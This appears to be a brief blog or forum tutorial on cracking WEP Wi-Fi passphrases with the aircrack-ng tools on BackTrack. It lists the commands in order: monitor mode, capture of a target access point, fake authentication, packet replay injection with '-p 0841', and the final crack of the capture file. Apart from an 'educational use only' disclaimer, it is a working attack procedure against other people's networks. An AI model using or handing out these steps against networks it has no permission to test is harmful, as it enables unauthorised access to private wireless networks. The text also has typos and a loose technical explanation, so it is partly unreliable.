(adsbygoogle = window.adsbygoogle || []).push({}); Quick and easy guide to Cracking Wep passphrases using –p 0841 attack:
Note:For educational use only

You Need:
1. A Computer with a wireless network card (able to go into monitor mode)
2. Backtrack
2. A Wep access point
3. A bit of luck


1. Start terminal

2. Start airmon-ng wlan0(wlan0 is my device yours may be different)
Description:puts your device into monitor mode

3. airodump-ng wlan0
Description: this command will help you search for your target

4. airodump-ng -c# --bssid (there bssid) –w "cap name" wlan0
Note: don’t forget to right to file (-w)
Description: this captures and saves the ivs

5. Aireplay-ng -1 0 -a (target Mac) -h (your Mac) wlan0

6. Aireplay-ng -2 –p 0841 –c FF:FF:FF:FF:FF:FF –b (target Mac) –h (your mac) wlan0
all this bit does is make you look like your connected to their network (fake auth) so you can capture ivs which has the key stored in them.

7. Airecrack "your capture file"

8. Done

hope this made sense to all you guys. post a comment if you have any questions